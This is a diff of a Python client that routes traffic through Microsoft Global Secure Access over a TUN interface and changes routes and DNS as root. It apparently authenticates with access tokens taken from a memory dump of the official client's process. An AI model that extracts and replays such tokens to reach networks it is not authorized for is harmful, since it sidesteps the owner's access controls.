|
||||
flow.send_queue.put(packet)
|
||||
flow.last_activity = time.monotonic()
|
||||
else:
|
||||
flow = self._create_flow(key, packet)
|
||||
if flow:
|
||||
with self.flows_lock:
|
||||
self.flows[key] = flow
|
||||
logger.debug(f"New flow: {key[0]}:{key[1]}/{key[2]} ({self.flows_created})")
|
||||
|
||||
except OSError as e:
|
||||
if self.running:
|
||||
logger.error(f"TUN read error: {e}")
|
||||
break
|
||||
|
||||
def _stats_printer(self):
|
||||
while self.running:
|
||||
time.sleep(60)
|
||||
with self.flows_lock:
|
||||
active = len(self.flows)
|
||||
logger.info(f"Stats: {self.packets_out} out, {self.packets_in} in, "
|
||||
f"{active} active flows, {self.flows_created} total created")
|
||||
|
||||
def setup_dns(self):
|
||||
resolv_backup = "/tmp/resolv.conf.gsa.bak"
|
||||
try:
|
||||
if not os.path.exists(resolv_backup):
|
||||
subprocess.run(['cp', '/etc/resolv.conf', resolv_backup], check=True)
|
||||
dns_conf = f"nameserver {self.dns_server}\nnameserver 8.8.8.8\n"
|
||||
with open('/etc/resolv.conf', 'w') as f:
|
||||
f.write(dns_conf)
|
||||
logger.info(f"DNS configured: {self.dns_server} (backup at {resolv_backup})")
|
||||
except PermissionError:
|
||||
logger.warning("Cannot modify /etc/resolv.conf — run as root for DNS override")
|
||||
except Exception as e:
|
||||
logger.warning(f"DNS setup failed: {e}")
|
||||
|
||||
def restore_dns(self):
|
||||
resolv_backup = "/tmp/resolv.conf.gsa.bak"
|
||||
if os.path.exists(resolv_backup):
|
||||
try:
|
||||
subprocess.run(['cp', resolv_backup, '/etc/resolv.conf'], check=True)
|
||||
os.unlink(resolv_backup)
|
||||
logger.info("DNS restored")
|
||||
except Exception:
|
||||
pass
|
||||
|
||||
def _resolve_edge_ip(self) -> Optional[str]:
|
||||
host = self.edge.split(':')[0]
|
||||
try:
|
||||
return socket.gethostbyname(host)
|
||||
except socket.gaierror:
|
||||
return None
|
||||
|
||||
def run(self):
|
||||
if not self.connect():
|
||||
return 1
|
||||
|
||||
if not self.establish_tunnel():
|
||||
return 1
|
||||
|
||||
# Ensure edge server traffic doesn't get routed into the TUN (routing loop)
|
||||
edge_ip = self._resolve_edge_ip()
|
||||
if edge_ip:
|
||||
result = subprocess.run(['ip', 'route', 'show', 'default'],
|
||||
capture_output=True, text=True)
|
||||
if result.stdout.strip():
|
||||
parts = result.stdout.strip().split()
|
||||
gw_idx = parts.index('via') + 1 if 'via' in parts else -1
|
||||
dev_idx = parts.index('dev') + 1 if 'dev' in parts else -1
|
||||
if gw_idx > 0 and dev_idx > 0:
|
||||
subprocess.run(['ip', 'route', 'add', f'{edge_ip}/32',
|
||||
'via', parts[gw_idx], 'dev', parts[dev_idx]],
|
||||
capture_output=True)
|
||||
logger.debug(f"Edge IP {edge_ip} excluded from TUN routing")
|
||||
|
||||
self.tun.open()
|
||||
self.tun.configure(self.routes)
|
||||
self.setup_dns()
|
||||
self.running = True
|
||||
|
||||
logger.info("=" * 50)
|
||||
logger.info("TUNNEL ACTIVE — routing traffic through GSA")
|
||||
logger.info(f" Interface: {TUN_NAME} ({self.tun_addr})")
|
||||
logger.info(f" Routes: {', '.join(self.routes)}")
|
||||
logger.info(f" DNS: {self.dns_server}")
|
||||
logger.info(" Press Ctrl+C to disconnect")
|
||||
logger.info("=" * 50)
|
||||
|
||||
threading.Thread(target=self._tun_reader, daemon=True).start()
|
||||
threading.Thread(target=self._flow_cleanup, daemon=True).start()
|
||||
threading.Thread(target=self._stats_printer, daemon=True).start()
|
||||
|
||||
try:
|
||||
while self.running:
|
||||
time.sleep(0.5)
|
||||
except KeyboardInterrupt:
|
||||
pass
|
||||
|
||||
return self.shutdown()
|
||||
|
||||
def shutdown(self) -> int:
|
||||
logger.info("Shutting down...")
|
||||
self.running = False
|
||||
self.control_active = False
|
||||
|
||||
with self.flows_lock:
|
||||
for flow in self.flows.values():
|
||||
flow.active = False
|
||||
flow.send_queue.put(None)
|
||||
self.flows.clear()
|
||||
|
||||
self.restore_dns()
|
||||
self.tun.close()
|
||||
|
||||
if self.channel:
|
||||
self.channel.close()
|
||||
|
||||
logger.info(f"Done. Sent {self.packets_out} packets, received {self.packets_in}")
|
||||
return 0
|
||||
|
||||
def main():
|
||||
parser = argparse.ArgumentParser(
|
||||
description="GSA Private Access Tunnel — route traffic through Microsoft Global Secure Access",
|
||||
formatter_class=argparse.RawDescriptionHelpFormatter,
|
||||
epilog="""
|
||||
Examples:
|
||||
# Auto-extract tokens from System Informer dump
|
||||
sudo python3 gsa_tunnel.py --token-file /tmp/token
|
||||
|
||||
# Explicit token files
|
||||
sudo python3 gsa_tunnel.py --tunnel-token /tmp/gsa_private_token.txt \\
|
||||
--porto-token /tmp/gsa_porto_token.txt \\
|
||||
--aps-token /tmp/gsa_aps_token.txt
|
||||
|
||||
# Custom routes only for specific subnets
|
||||
sudo python3 gsa_tunnel.py --token-file /tmp/token --routes 192.168.255.0/24,10.0.0.0/8
|
||||
""",
|
||||
)
|
||||
|
||||
tok = parser.add_argument_group("Tokens")
|
||||
tok.add_argument("--token-file", default="/tmp/token",
|
||||
help="System Informer dump with JWTs (default: /tmp/token)")
|
||||
tok.add_argument("--tunnel-token", help="Private tunnel token file (aud: e92b9b37)")
|
||||
tok.add_argument("--porto-token", help="PortoToken file (aud: 79486f61)")
|
||||
tok.add_argument("--aps-token", help="APS bearer token file (aud: b3fa0115)")
|
||||
|
||||
net = parser.add_argument_group("Network")
|
||||
net.add_argument("--edge", help="Edge server (default: auto from tenant)")
|
||||
net.add_argument("--tenant", default=DEFAULT_TENANT, help="Azure tenant ID")
|
||||
net.add_argument("--routes", help="Comma-separated CIDR routes (default: RFC1918)")
|
||||
net.add_argument("--tun-addr", default=TUN_ADDR, help=f"TUN interface IP (default: {TUN_ADDR})")
|
||||
net.add_argument("--dns", help="Override DNS server IP")
|
||||
net.add_argument("--no-dns", action="store_true", help="Don't modify /etc/resolv.conf")
|
||||
|
||||
parser.add_argument("-v", "--verbose", action="store_true", help="Debug logging")
|
||||
args = parser.parse_args()
|
||||
|
||||
if args.verbose:
|
||||
logging.getLogger().setLevel(logging.DEBUG)
|
||||
|
||||
tunnel_token = None
|
||||
porto_token = None
|
||||
aps_token = None
|
||||
|
||||
if args.tunnel_token:
|
||||
tunnel_token = load_token_file(args.tunnel_token)
|
||||
porto_token = load_token_file(args.porto_token) if args.porto_token else None
|
||||
aps_token = load_token_file(args.aps_token) if args.aps_token else None
|
||||
else:
|
||||
token_path = args.token_file
|
||||
if not os.path.exists(token_path):
|
||||
parser.error(f"Token file not found: {token_path}")
|
||||
|
||||
logger.info(f"Parsing tokens from {token_path}")
|
||||
tokens = extract_tokens_from_dump(token_path)
|
||||
|
||||
tunnel_token = tokens.get(AUD_TUNNEL)
|
||||
porto_token = tokens.get(AUD_PORTO)
|
||||
aps_token = tokens.get(AUD_APS)
|
||||
|
||||
if not tunnel_token:
|
||||
parser.error(f"No tunnel token (aud={AUD_TUNNEL}) found in {token_path}")
|
||||
if not porto_token:
|
||||
parser.error(f"No PortoToken (aud={AUD_PORTO}) found in {token_path}")
|
||||
|
||||
for name, tok, aud in [("Tunnel", tunnel_token, AUD_TUNNEL),
|
||||
("Porto", porto_token, AUD_PORTO),
|
||||
("APS", aps_token, AUD_APS)]:
|
||||
if tok:
|
||||
claims = decode_jwt_payload(tok)
|
||||
exp = claims.get('exp', 0)
|
||||
remaining = exp - time.time()
|
||||
status = f"expires in {int(remaining)}s" if remaining > 0 else "EXPIRED"
|
||||
logger.info(f" {name}: aud={aud[:8]}... {status}")
|
||||
else:
|
||||
logger.warning(f" {name}: NOT FOUND")
|
||||
|
||||
if not tunnel_token or not porto_token:
|
||||
logger.error("Need at minimum: tunnel token + porto token")
|
||||
return 1
|
||||
|
||||
tunnel_claims = decode_jwt_payload(tunnel_token)
|
||||
if tunnel_claims.get('exp', 0) < time.time():
|
||||
logger.error("Tunnel token EXPIRED!")
|
||||
return 1
|
||||
|
||||
edge = args.edge or EDGE_TEMPLATE.format(tenant=args.tenant)
|
||||
routes = args.routes.split(',') if args.routes else DEFAULT_ROUTES
|
||||
|
||||
tunnel = GSATunnel(
|
||||
tunnel_token=tunnel_token,
|
||||
porto_token=porto_token,
|
||||
aps_token=aps_token or porto_token,
|
||||
edge=edge,
|
||||
routes=routes,
|
||||
tun_addr=args.tun_addr,
|
||||
dns_override=args.dns,
|
||||
)
|
||||
|
||||
if args.no_dns:
|
||||
tunnel.setup_dns = lambda: None
|
||||
tunnel.restore_dns = lambda: None
|
||||
|
||||
def sig_handler(sig, frame):
|
||||
tunnel.running = False
|
||||
|
||||
signal.signal(signal.SIGINT, sig_handler)
|
||||
signal.signal(signal.SIGTERM, sig_handler)
|
||||
|
||||
return tunnel.run()
|
||||
|
||||
if __name__ == "__main__":
|
||||
sys.exit(main())
|
||||
@@ -0,0 +1,4 @@
|
||||
grpcio>=1.60.0
|
||||
grpcio-tools>=1.60.0
|
||||
protobuf>=4.25.0
|
||||
msal>=1.28.0
|
||||
Reference in New Issue
Block a user